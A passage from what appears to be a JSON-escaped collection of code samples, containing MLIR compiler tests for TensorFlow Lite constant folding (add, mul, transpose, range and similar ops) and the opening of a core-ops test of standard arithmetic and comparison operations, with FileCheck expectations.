dense<-1.750000e+00> : tensor<4xf32>\n\n  %5 = \"tfl.mul\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<  f32>, tensor<  f32>) -> tensor<  f32>\n  %6 = \"tfl.mul\"(%0, %3) {fused_activation_function = \"NONE\"} : (tensor<  f32>, tensor<4xf32>) -> tensor<4xf32>\n  %7 = \"tfl.mul\"(%2, %1) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<  f32>) -> tensor<4xf32>\n  %8 = \"tfl.mul\"(%2, %3) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n\n  return %5, %6, %7, %8 : tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>\n}\n\n// CHECK-LABEL: @elementwise_unary_ops\nfunc @elementwise_unary_ops() -> (tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>) {\n  %0 = constant dense<-1.0> : tensor<f32>\n  %1 = constant dense<1.0> : tensor<f32>\n  %2 = constant dense<1.0> : tensor<f32>\n  %3 = constant dense<1.0> : tensor<f32>\n  %4 = constant dense<4.0> : tensor<f32>\n  %5 = constant dense<4.0> : tensor<f32>\n  %6 = constant dense<2.0> : tensor<f32>\n\n  // CHECK-DAG: [[cst0:%.*]] = constant dense<1.000000e+00> : tensor<f32>\n  // CHECK-DAG: [[cst1:%.*]] = constant dense<0.841470957> : tensor<f32>\n  // CHECK-DAG: [[cst2:%.*]] = constant dense<0.540302277> : tensor<f32>\n  // CHECK-DAG: [[cst3:%.*]] = constant dense<0.000000e+00> : tensor<f32>\n  // CHECK-DAG: [[cst4:%.*]] = constant dense<2.000000e+00> : tensor<f32>\n  // CHECK-DAG: [[cst5:%.*]] = constant dense<5.000000e-01> : tensor<f32>\n  // CHECK-DAG: [[cst6:%.*]] = constant dense<4.000000e+00> : tensor<f32>\n  // CHECK: return [[cst0]], [[cst1]], [[cst2]], [[cst3]], [[cst4]], [[cst5]], [[cst6]]\n\n  %7 = \"tfl.abs\"(%0) : (tensor<f32>) -> tensor<f32>\n  %8 = \"tfl.sin\"(%1) : (tensor<f32>) -> tensor<f32>\n  %9 = \"tfl.cos\"(%2) : (tensor<f32>) -> tensor<f32>\n  %10 = \"tfl.log\"(%3) : (tensor<f32>) -> tensor<f32>\n  %11 = \"tfl.sqrt\"(%4) : (tensor<f32>) -> tensor<f32>\n  %12 = \"tfl.rsqrt\"(%5) : (tensor<f32>) -> tensor<f32>\n  %13 = \"tfl.square\"(%6) : (tensor<f32>) -> tensor<f32>\n\n  return %7, %8, %9, %10, %11, %12, %13 : tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>\n}\n\n// CHECK-LABEL: @mul_int\nfunc @mul_int() -> (tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>) {\n  %0 = constant dense<8> : tensor<i32>\n  %1 = constant dense<1> : tensor<i32>\n\n  %2 = constant dense< 4> : tensor<4xi32>\n  %3 = constant dense<-2> : tensor<4xi32>\n\n  // CHECK-DAG: [[cst0:%.*]] = constant dense<8> : tensor<i32>\n  // CHECK-DAG: [[cst1:%.*]] = constant dense<-16> : tensor<4xi32>\n  // CHECK-DAG: [[cst2:%.*]] = constant dense<4> : tensor<4xi32>\n  // CHECK-DAG: [[cst3:%.*]] = constant dense<-8> : tensor<4xi32>\n  // CHECK: return [[cst0]], [[cst1]], [[cst2]], [[cst3]]\n\n  %5 = \"tfl.mul\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<  i32>, tensor<  i32>) -> tensor<  i32>\n  %6 = \"tfl.mul\"(%0, %3) {fused_activation_function = \"NONE\"} : (tensor<  i32>, tensor<4xi32>) -> tensor<4xi32>\n  %7 = \"tfl.mul\"(%2, %1) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<  i32>) -> tensor<4xi32>\n  %8 = \"tfl.mul\"(%2, %3) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>\n\n  return %5, %6, %7, %8 : tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>\n}\n\n// CHECK-LABEL: @add_dense_splat_int\nfunc @add_dense_splat_int() -> tensor<4xi32> {\n  %0 = constant dense<[-10, -1, 42, 100]> : tensor<4xi32>\n  %1 = constant dense< 5> : tensor<4xi32>\n\n  %2 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>\n\n  return %2 : tensor<4xi32>\n\n// CHECK:  %cst = constant dense<[-5, 4, 47, 105]> : tensor<4xi32>\n// CHECK:  return %cst\n}\n\n// CHECK-LABEL: @add_splat_dense_int\nfunc @add_splat_dense_int() -> tensor<4xi32> {\n  %0 = constant dense< 5> : tensor<4xi32>\n  %1 = constant dense<[-10, -1, 42, 100]> : tensor<4xi32>\n\n  %2 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>\n\n  return %2 : tensor<4xi32>\n\n// CHECK:  %cst = constant dense<[-5, 4, 47, 105]> : tensor<4xi32>\n// CHECK:  return %cst\n}\n\n// CHECK-LABEL: @add_dense_dense_int_same_shape\nfunc @add_dense_dense_int_same_shape() -> tensor<4xi32> {\n  %0 = constant dense<[15, 23, -44, -2]> : tensor<4xi32>\n  %1 = constant dense<[-10, -1, 42, 100]> : tensor<4xi32>\n\n  %2 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>\n\n  return %2 : tensor<4xi32>\n\n// CHECK:  %cst = constant dense<[5, 22, -2, 98]> : tensor<4xi32>\n// CHECK:  return %cst\n}\n\n// CHECK-LABEL: @add_dense_dense_int_trailing_dim\nfunc @add_dense_dense_int_trailing_dim() -> (tensor<2x2xi32>, tensor<2x2x2xi32>, tensor<2x2x2xi32>) {\n  %cst_0 = constant dense<[10, 20]> : tensor<2xi32>\n  %cst_1 = constant dense<[[1, 2], [3, 4]]> : tensor<2x2xi32>\n  %cst_2 = constant dense<[[[1, 1], [2, 2]], [[3, 3], [4, 4]]]> : tensor<2x2x2xi32>\n\n  %0 = \"tfl.add\"(%cst_0, %cst_1) {fused_activation_function = \"NONE\"} : (tensor<    2xi32>, tensor<  2x2xi32>) -> tensor<  2x2xi32>\n  %1 = \"tfl.add\"(%cst_2, %cst_1) {fused_activation_function = \"NONE\"} : (tensor<2x2x2xi32>, tensor<  2x2xi32>) -> tensor<2x2x2xi32>\n  %2 = \"tfl.add\"(%cst_0, %cst_2) {fused_activation_function = \"NONE\"} : (tensor<    2xi32>, tensor<2x2x2xi32>) -> tensor<2x2x2xi32>\n\n  return %0, %1, %2 : tensor<2x2xi32>, tensor<2x2x2xi32>, tensor<2x2x2xi32>\n\n// CHECK:  %cst = constant dense<{{\\[\\[}}11, 22], [13, 24]]> : tensor<2x2xi32>\n// CHECK:  %cst_0 = constant dense<{{\\[\\[\\[}}2, 3], [5, 6]], {{\\[\\[}}4, 5], [7, 8]]]> : tensor<2x2x2xi32>\n// CHECK:  %cst_1 = constant dense<{{\\[\\[\\[}}11, 21], [12, 22]], {{\\[\\[}}13, 23], [14, 24]]]> : tensor<2x2x2xi32>\n// CHECK:  return %cst, %cst_0, %cst_1\n}\n\n// CHECK-LABEL: @add_dense_dense_int_mixing_1_n\nfunc @add_dense_dense_int_mixing_1_n() -> tensor<2x2xi32> {\n  %cst_0 = constant dense<[[1, 2]]> : tensor<1x2xi32>\n  %cst_1 = constant dense<[[3], [4]]> : tensor<2x1xi32>\n\n  %0 = \"tfl.add\"(%cst_0, %cst_1) {fused_activation_function = \"NONE\"} : (tensor<1x2xi32>, tensor<2x1xi32>) -> tensor<2x2xi32>\n\n  return %0 : tensor<2x2xi32>\n\n// We don't support this case yet.\n// %cst = constant dense<{{\\[\\[}}4, 5], [5, 6]]> : tensor<2x2xi32>\n// CHECK:  %0 = \"tfl.add\"\n// CHECK:  return %0\n}\n\n// CHECK-LABEL: @add_dense_splat_float\nfunc @add_dense_splat_float() -> tensor<4xf32> {\n  %0 = constant dense<[-10.0, -1.5, 42.0, 7.25]> : tensor<4xf32>\n  %1 = constant dense< 3.5> : tensor<4xf32>\n\n  %2 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n\n  return %2 : tensor<4xf32>\n\n// CHECK:  %cst = constant dense<[-6.500000e+00, 2.000000e+00, 4.550000e+01, 1.075000e+01]> : tensor<4xf32>\n// CHECK:  return %cst\n}\n\n// CHECK-LABEL: @add_splat_dense_float\nfunc @add_splat_dense_float() -> tensor<4xf32> {\n  %0 = constant dense< 3.5> : tensor<4xf32>\n  %1 = constant dense<[-10.0, -1.5, 42.0, 7.25]> : tensor<4xf32>\n\n  %2 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n\n  return %2 : tensor<4xf32>\n\n// CHECK:  %cst = constant dense<[-6.500000e+00, 2.000000e+00, 4.550000e+01, 1.075000e+01]> : tensor<4xf32>\n// CHECK:  return %cst\n}\n\n// CHECK-LABEL: @add_dense_dense_float_same_shape\nfunc @add_dense_dense_float_same_shape() -> (tensor<4xf32>) {\n  %0 = constant dense<[1.5, 2.3, -4.4, -2.0]> : tensor<4xf32>\n  %1 = constant dense<[-10.4, -1.3, 42.4, 100.0]> : tensor<4xf32>\n\n  %2 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n\n  return %2 : tensor<4xf32>\n\n// CHECK:  %cst = constant dense<[-8.89999961, 1.000000e+00, 3.800000e+01, 9.800000e+01]> : tensor<4xf32>\n// CHECK:  return %cst\n}\n\n// CHECK-LABEL: @add_dense_dense_float_trailing_dim\nfunc @add_dense_dense_float_trailing_dim() -> (tensor<2x2xf32>, tensor<2x2x2xf32>, tensor<2x2x2xf32>) {\n  %cst_0 = constant dense<[1., -4.]> : tensor<2xf32>\n  %cst_1 = constant dense<[[-5.5, 1.5], [7.5, -4.5]]> : tensor<2x2xf32>\n  %cst_2 = constant dense<[[[1., 1.], [2., 2.]], [[3., 3.], [4., 4.]]]> : tensor<2x2x2xf32>\n\n  %0 = \"tfl.add\"(%cst_0, %cst_1) {fused_activation_function = \"NONE\"} : (tensor<    2xf32>, tensor<  2x2xf32>) -> tensor<  2x2xf32>\n  %1 = \"tfl.add\"(%cst_2, %cst_1) {fused_activation_function = \"NONE\"} : (tensor<2x2x2xf32>, tensor<  2x2xf32>) -> tensor<2x2x2xf32>\n  %2 = \"tfl.add\"(%cst_0, %cst_2) {fused_activation_function = \"NONE\"} : (tensor<    2xf32>, tensor<2x2x2xf32>) -> tensor<2x2x2xf32>\n\n  return %0, %1, %2 : tensor<2x2xf32>, tensor<2x2x2xf32>, tensor<2x2x2xf32>\n\n// CHECK:  %cst = constant dense<{{\\[\\[}}-4.500000e+00, -2.500000e+00], [8.500000e+00, -8.500000e+00]]> : tensor<2x2xf32>\n// CHECK:  %cst_0 = constant dense<{{\\[\\[\\[}}-4.500000e+00, 2.500000e+00], [9.500000e+00, -2.500000e+00]], {{\\[\\[}}-2.500000e+00, 4.500000e+00], [1.150000e+01, -5.000000e-01]]]> : tensor<2x2x2xf32>\n// CHECK:  %cst_1 = constant dense<{{\\[\\[\\[}}2.000000e+00, -3.000000e+00], [3.000000e+00, -2.000000e+00]], {{\\[\\[}}4.000000e+00, -1.000000e+00], [5.000000e+00, 0.000000e+00]]]> : tensor<2x2x2xf32>\n// CHECK:  return %cst, %cst_0, %cst_1\n}\n\n// CHECK-LABEL: @add_dense_dense_float_mixfng_1_n\nfunc @add_dense_dense_float_mixfng_1_n() -> tensor<2x2xf32> {\n  %cst_0 = constant dense<[[1.5, -2.5]]> : tensor<1x2xf32>\n  %cst_1 = constant dense<[[-3.], [4.]]> : tensor<2x1xf32>\n\n  %0 = \"tfl.add\"(%cst_0, %cst_1) {fused_activation_function = \"NONE\"} : (tensor<1x2xf32>, tensor<2x1xf32>) -> tensor<2x2xf32>\n\n  return %0 : tensor<2x2xf32>\n\n// We don't support this case yet.\n// CHECK:  %0 = \"tfl.add\"\n// CHECK:  return %0\n}\n\n// CHECK-LABEL: @rank\nfunc @rank() -> tensor<1xi32> {\n  %cst = constant dense<[[1], [2]]> : tensor<2x1xi32>\n\n  // CHECK: [[cst:%.*]] = constant dense<2> : tensor<1xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.rank\"(%cst) : (tensor<2x1xi32>) -> tensor<1xi32>\n  return %0 : tensor<1xi32>\n}\n\n// CHECK-LABEL: @rank_input_known_rank\nfunc @rank_input_known_rank(%arg0 : tensor<2x1xi32>) -> tensor<1xi32> {\n  // CHECK: [[cst:%.*]] = constant dense<2> : tensor<1xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.rank\"(%arg0) : (tensor<2x1xi32>) -> tensor<1xi32>\n  return %0 : tensor<1xi32>\n}\n\n// CHECK-LABEL: @reshape\nfunc @reshape() -> tensor<1x2xi32> {\n  %cst = constant dense<[1, 2]> : tensor<2xi32>\n\n  // CHECK: [[cst:%.*]] = constant dense<{{\\[\\[}}1, 2]]> : tensor<1x2xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.reshape\"(%cst) : (tensor<2xi32>) -> tensor<1x2xi32>\n  return %0 : tensor<1x2xi32>\n}\n// CHECK-LABEL: @pseudo_const\nfunc @pseudo_const() -> tensor<i32> {\n  // CHECK: [[cst:%.*]] = constant dense<1> : tensor<i32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.pseudo_const\"() {value = dense<1> : tensor<i32>} : () -> tensor<i32>\n  return %0 : tensor<i32>\n}\n\n\n// CHECK-LABEL: @range_int\nfunc @range_int() -> tensor<?xi32> {\n  %cst = constant dense<0> : tensor<i32>\n  %cst_1 = constant dense<4> : tensor<i32>\n  %cst_2 = constant dense<1> : tensor<i32>\n\n  // CHECK: [[cst:%.*]] = \"tfl.pseudo_const\"() {value = dense<[0, 1, 2, 3]> : tensor<4xi32>} : () -> tensor<?xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.range\"(%cst, %cst_1, %cst_2) : (tensor<i32>, tensor<i32>, tensor<i32>) -> tensor<?xi32>\n  return %0 : tensor<?xi32>\n}\n\n// CHECK-LABEL: @range_float\nfunc @range_float() -> tensor<?xf32> {\n  %cst = constant dense<0.0> : tensor<f32>\n  %cst_1 = constant dense<4.0> : tensor<f32>\n  %cst_2 = constant dense<1.0> : tensor<f32>\n\n  // CHECK: [[cst:%.*]] = \"tfl.pseudo_const\"() {value = dense<[0.000000e+00, 1.000000e+00, 2.000000e+00, 3.000000e+00]> : tensor<4xf32>} : () -> tensor<?xf32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.range\"(%cst, %cst_1, %cst_2) : (tensor<f32>, tensor<f32>, tensor<f32>) -> tensor<?xf32>\n  return %0 : tensor<?xf32>\n}\n\n\n// CHECK-LABEL: @range_float_neg_delta\nfunc @range_float_neg_delta() -> tensor<?xf32> {\n  %cst = constant dense<0.0> : tensor<f32>\n  %cst_1 = constant dense<-4.0> : tensor<f32>\n  %cst_2 = constant dense<-1.0> : tensor<f32>\n\n  // CHECK: [[cst:%.*]] = \"tfl.pseudo_const\"() {value = dense<[0.000000e+00, -1.000000e+00, -2.000000e+00, -3.000000e+00]> : tensor<4xf32>} : () -> tensor<?xf32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.range\"(%cst, %cst_1, %cst_2) : (tensor<f32>, tensor<f32>, tensor<f32>) -> tensor<?xf32>\n  return %0 : tensor<?xf32>\n}\n\n// CHECK-LABEL: @range_float_nonzero_base\nfunc @range_float_nonzero_base() -> tensor<?xf32> {\n  %cst = constant dense<2.0> : tensor<f32>\n  %cst_1 = constant dense<7.0> : tensor<f32>\n  %cst_2 = constant dense<1.5> : tensor<f32>\n\n  // CHECK: [[cst:%.*]] = \"tfl.pseudo_const\"() {value = dense<[2.000000e+00, 3.500000e+00, 5.000000e+00, 6.500000e+00]> : tensor<4xf32>} : () -> tensor<?xf32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.range\"(%cst, %cst_1, %cst_2) : (tensor<f32>, tensor<f32>, tensor<f32>) -> tensor<?xf32>\n  return %0 : tensor<?xf32>\n}\n\n// CHECK-LABEL: @transpose_no_fold\nfunc @transpose_no_fold(%arg0 : tensor<2xi32>) -> tensor<2x2xi32> {\n  %cst = constant dense<[[0, 1], [2, 3]]> : tensor<2x2xi32>\n\n  // CHECK: tfl.transpose\n  %0 = \"tfl.transpose\"(%cst, %arg0) : (tensor<2x2xi32>, tensor<2xi32>) -> tensor<2x2xi32>\n  return %0 : tensor<2x2xi32>\n}\n\n// CHECK-LABEL: @transpose_1d\n// Basic 1D identity\nfunc @transpose_1d() -> tensor<3xi32> {\n  %cst = constant dense<[1, 2, 3]> : tensor<3xi32>\n  %cst_perm = constant dense<0> : tensor<1xi32>\n\n  // CHECK: [[cst:%.*]] = constant dense<{{\\[}}1, 2, 3]> : tensor<3xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.transpose\"(%cst, %cst_perm) : (tensor<3xi32>, tensor<1xi32>) -> tensor<3xi32>\n  return %0 : tensor<3xi32>\n}\n\n// CHECK-LABEL: @transpose_dynamic\nfunc @transpose_dynamic() -> tensor<?xi32> {\n  %cst = constant dense<[1, 2, 3]> : tensor<3xi32>\n  %cst_perm = constant dense<0> : tensor<1xi32>\n\n  // CHECK: [[cst:%.*]] = \"tfl.pseudo_const\"() {value = dense<{{\\[}}1, 2, 3]> : tensor<3xi32>} : () -> tensor<?xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.transpose\"(%cst, %cst_perm) : (tensor<3xi32>, tensor<1xi32>) -> tensor<?xi32>\n  return %0 : tensor<?xi32>\n}\n\n// CHECK-LABEL: @transpose_2d\nfunc @transpose_2d() -> tensor<2x2xi32> {\n  %cst = constant dense<[[0, 1], [2, 3]]> : tensor<2x2xi32>\n  %cst_perm = constant dense<[1, 0]> : tensor<2xi32>\n\n  // CHECK: [[cst:%.*]] = constant dense<{{\\[\\[}}0, 2], {{\\[}}1, 3]]> : tensor<2x2xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.transpose\"(%cst, %cst_perm) : (tensor<2x2xi32>, tensor<2xi32>) -> tensor<2x2xi32>\n  return %0 : tensor<2x2xi32>\n}\n\n// CHECK-LABEL: @transpose_2d_identity\nfunc @transpose_2d_identity() -> tensor<2x2xi32> {\n  %cst = constant dense<[[0, 1], [2, 3]]> : tensor<2x2xi32>\n  %cst_perm = constant dense<[0, 1]> : tensor<2xi32>\n\n  // CHECK: [[cst:%.*]] = constant dense<{{\\[\\[}}0, 1], {{\\[}}2, 3]]> : tensor<2x2xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.transpose\"(%cst, %cst_perm) : (tensor<2x2xi32>, tensor<2xi32>) -> tensor<2x2xi32>\n  return %0 : tensor<2x2xi32>\n}\n\n// CHECK-LABEL: @transpose_3d\n// A test case adopted from TransposeTest.Test3DInputConstTensor in\n// tensorflow/lite/kernels/transpose_test.cc\nfunc @transpose_3d() -> tensor<4x2x3xi32> {\n  %cst = constant dense<[[[0, 1, 2, 3], [4, 5, 6, 7], [8, 9, 10, 11]], [[12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]]]> : tensor<2x3x4xi32>\n  %cst_perm = constant dense<[2, 0, 1]> : tensor<3xi32>\n\n  // CHECK: [[cst:%.*]] = constant dense<{{\\[\\[\\[}}0, 4, 8], {{\\[}}12, 16, 20]], {{\\[\\[}}1, 5, 9], {{\\[}}13, 17, 21]], {{\\[\\[}}2, 6, 10], {{\\[}}14, 18, 22]], {{\\[\\[}}3, 7, 11], {{\\[}}15, 19, 23]]]> : tensor<4x2x3xi32>\n  // CHECK: return [[cst]]\n  %0 = \"tfl.transpose\"(%cst, %cst_perm) : (tensor<2x3x4xi32>, tensor<3xi32>) -> tensor<4x2x3xi32>\n  return %0 : tensor<4x2x3xi32>\n}\n"
  },
  {
    "path": "samples/MLIR/core-ops.mlir",
    "content": "// RUN: mlir-opt %s | FileCheck %s\n// Verify the printed output can be parsed.\n// RUN: mlir-opt %s | mlir-opt | FileCheck %s\n// Verify the generic form can be parsed.\n// RUN: mlir-opt -mlir-print-op-generic %s | mlir-opt | FileCheck %s\n\n// CHECK: #map0 = (d0) -> (d0 + 1)\n\n// CHECK: #map1 = ()[s0] -> (s0 + 1)\n// CHECK-DAG: #[[map_proj_d0d1_d0:map[0-9]+]] = (d0, d1) -> (d0)\n// CHECK-DAG: #[[map_proj_d0d1_d1:map[0-9]+]] = (d0, d1) -> (d1)\n// CHECK-DAG: #[[map_proj_d0d1_d1d0:map[0-9]+]] = (d0, d1) -> (d1, d0)\n\n// CHECK-LABEL: func @func_with_ops(%arg0: f32) {\nfunc @func_with_ops(f32) {\n^bb0(%a : f32):\n  // CHECK: %0 = \"getTensor\"() : () -> tensor<4x4x?xf32>\n  %t = \"getTensor\"() : () -> tensor<4x4x?xf32>\n\n  // CHECK: %1 = dim %0, 2 : tensor<4x4x?xf32>\n  %t2 = \"std.dim\"(%t){index = 2} : (tensor<4x4x?xf32>) -> index\n\n  // CHECK: %2 = addf %arg0, %arg0 : f32\n  %x = \"std.addf\"(%a, %a) : (f32,f32) -> (f32)\n\n  // CHECK:   return\n  return\n}\n\n// CHECK-LABEL: func @standard_instrs(%arg0: tensor<4x4x?xf32>, %arg1: f32, %arg2: i32, %arg3: index, %arg4: i64) {\nfunc @standard_instrs(tensor<4x4x?xf32>, f32, i32, index, i64) {\n^bb42(%t: tensor<4x4x?xf32>, %f: f32, %i: i32, %idx : index, %j: i64):\n  // CHECK: %0 = dim %arg0, 2 : tensor<4x4x?xf32>\n  %a = \"std.dim\"(%t){index = 2} : (tensor<4x4x?xf32>) -> index\n\n  // CHECK: %1 = dim %arg0, 2 : tensor<4x4x?xf32>\n  %a2 = dim %t, 2 : tensor<4x4x?xf32>\n\n  // CHECK: %2 = addf %arg1, %arg1 : f32\n  %f2 = \"std.addf\"(%f, %f) : (f32,f32) -> f32\n\n  // CHECK: %3 = addf %2, %2 : f32\n  %f3 = addf %f2, %f2 : f32\n\n  // CHECK: %4 = addi %arg2, %arg2 : i32\n  %i2 = \"std.addi\"(%i, %i) : (i32,i32) -> i32\n\n  // CHECK: %5 = addi %4, %4 : i32\n  %i3 = addi %i2, %i2 : i32\n\n  // CHECK: %{{[0-9]+}} = addi %arg3, %arg3 : index\n  %idx1 = addi %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = addi %arg3, %{{[0-9]+}} : index\n  %idx2 = \"std.addi\"(%idx, %idx1) : (index, index) -> index\n\n  // CHECK: %8 = subf %arg1, %arg1 : f32\n  %f4 = \"std.subf\"(%f, %f) : (f32,f32) -> f32\n\n  // CHECK: %9 = subf %8, %8 : f32\n  %f5 = subf %f4, %f4 : f32\n\n  // CHECK: %10 = subi %arg2, %arg2 : i32\n  %i4 = \"std.subi\"(%i, %i) : (i32,i32) -> i32\n\n  // CHECK: %11 = subi %10, %10 : i32\n  %i5 = subi %i4, %i4 : i32\n\n  // CHECK: %12 = mulf %2, %2 : f32\n  %f6 = mulf %f2, %f2 : f32\n\n  // CHECK: %13 = muli %4, %4 : i32\n  %i6 = muli %i2, %i2 : i32\n\n  // CHECK: %c42_i32 = constant 42 : i32\n  %x = \"std.constant\"(){value = 42 : i32} : () -> i32\n\n  // CHECK: %c42_i32_0 = constant 42 : i32\n  %7 = constant 42 : i32\n\n  // CHECK: %c43 = constant {crazy = \"std.foo\"} 43 : index\n  %8 = constant {crazy = \"std.foo\"} 43: index\n\n  // CHECK: %cst = constant 4.300000e+01 : bf16\n  %9 = constant 43.0 : bf16\n\n  // CHECK: %f = constant @func_with_ops : (f32) -> ()\n  %10 = constant @func_with_ops : (f32) -> ()\n\n  // CHECK: %f_1 = constant @affine_apply : () -> ()\n  %11 = constant @affine_apply : () -> ()\n\n  // CHECK: %f_2 = constant @affine_apply : () -> ()\n  %12 = constant @affine_apply : () -> ()\n\n  // CHECK: %cst_3 = constant dense<0> : vector<4xi32>\n  %13 = constant dense<0> : vector<4 x i32>\n\n  // CHECK: %cst_4 = constant dense<0> : tensor<42xi32>\n  %tci32 = constant dense<0> : tensor<42 x i32>\n\n  // CHECK: %cst_5 = constant dense<0> : vector<42xi32>\n  %vci32 = constant dense<0> : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = cmpi \"eq\", %{{[0-9]+}}, %{{[0-9]+}} : i32\n  %14 = cmpi \"eq\", %i3, %i4 : i32\n\n  // Predicate 1 means inequality comparison.\n  // CHECK: %{{[0-9]+}} = cmpi \"ne\", %{{[0-9]+}}, %{{[0-9]+}} : i32\n  %15 = \"std.cmpi\"(%i3, %i4) {predicate = 1} : (i32, i32) -> i1\n\n  // CHECK: %{{[0-9]+}} = cmpi \"slt\", %cst_3, %cst_3 : vector<4xi32>\n  %16 = cmpi \"slt\", %13, %13 : vector<4 x i32>\n\n  // CHECK: %{{[0-9]+}} = cmpi \"ne\", %cst_3, %cst_3 : vector<4xi32>\n  %17 = \"std.cmpi\"(%13, %13) {predicate = 1} : (vector<4 x i32>, vector<4 x i32>) -> vector<4 x i1>\n\n  // CHECK: %{{[0-9]+}} = cmpi \"slt\", %arg3, %arg3 : index\n  %18 = cmpi \"slt\", %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = cmpi \"eq\", %cst_4, %cst_4 : tensor<42xi32>\n  %19 = cmpi \"eq\", %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = cmpi \"eq\", %cst_5, %cst_5 : vector<42xi32>\n  %20 = cmpi \"eq\", %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %arg3, %arg3 : index\n  %21 = select %18, %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %cst_4, %cst_4 : tensor<42xi32>\n  %22 = select %19, %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %cst_5, %cst_5 : vector<42xi32>\n  %23 = select %20, %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %arg3, %arg3 : index\n  %24 = \"std.select\"(%18, %idx, %idx) : (i1, index, index) -> index\n\n  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %cst_4, %cst_4 : tensor<42xi32>\n  %25 = \"std.select\"(%19, %tci32, %tci32) : (tensor<42 x i1>, tensor<42 x i32>, tensor<42 x i32>) -> tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = divis %arg2, %arg2 : i32\n  %26 = divis %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = divis %arg3, %arg3 : index\n  %27 = divis %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = divis %cst_5, %cst_5 : vector<42xi32>\n  %28 = divis %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = divis %cst_4, %cst_4 : tensor<42xi32>\n  %29 = divis %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = divis %arg2, %arg2 : i32\n  %30 = \"std.divis\"(%i, %i) : (i32, i32) -> i32\n\n  // CHECK: %{{[0-9]+}} = diviu %arg2, %arg2 : i32\n  %31 = diviu %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = diviu %arg3, %arg3 : index\n  %32 = diviu %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = diviu %cst_5, %cst_5 : vector<42xi32>\n  %33 = diviu %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = diviu %cst_4, %cst_4 : tensor<42xi32>\n  %34 = diviu %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = diviu %arg2, %arg2 : i32\n  %35 = \"std.diviu\"(%i, %i) : (i32, i32) -> i32\n\n  // CHECK: %{{[0-9]+}} = remis %arg2, %arg2 : i32\n  %36 = remis %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = remis %arg3, %arg3 : index\n  %37 = remis %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = remis %cst_5, %cst_5 : vector<42xi32>\n  %38 = remis %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = remis %cst_4, %cst_4 : tensor<42xi32>\n  %39 = remis %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = remis %arg2, %arg2 : i32\n  %40 = \"std.remis\"(%i, %i) : (i32, i32) -> i32\n\n  // CHECK: %{{[0-9]+}} = remiu %arg2, %arg2 : i32\n  %41 = remiu %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = remiu %arg3, %arg3 : index\n  %42 = remiu %idx, %idx : index\n\n  // CHECK: %{{[0-9]+}} = remiu %cst_5, %cst_5 : vector<42xi32>\n  %43 = remiu %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = remiu %cst_4, %cst_4 : tensor<42xi32>\n  %44 = remiu %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = remiu %arg2, %arg2 : i32\n  %45 = \"std.remiu\"(%i, %i) : (i32, i32) -> i32\n\n  // CHECK: 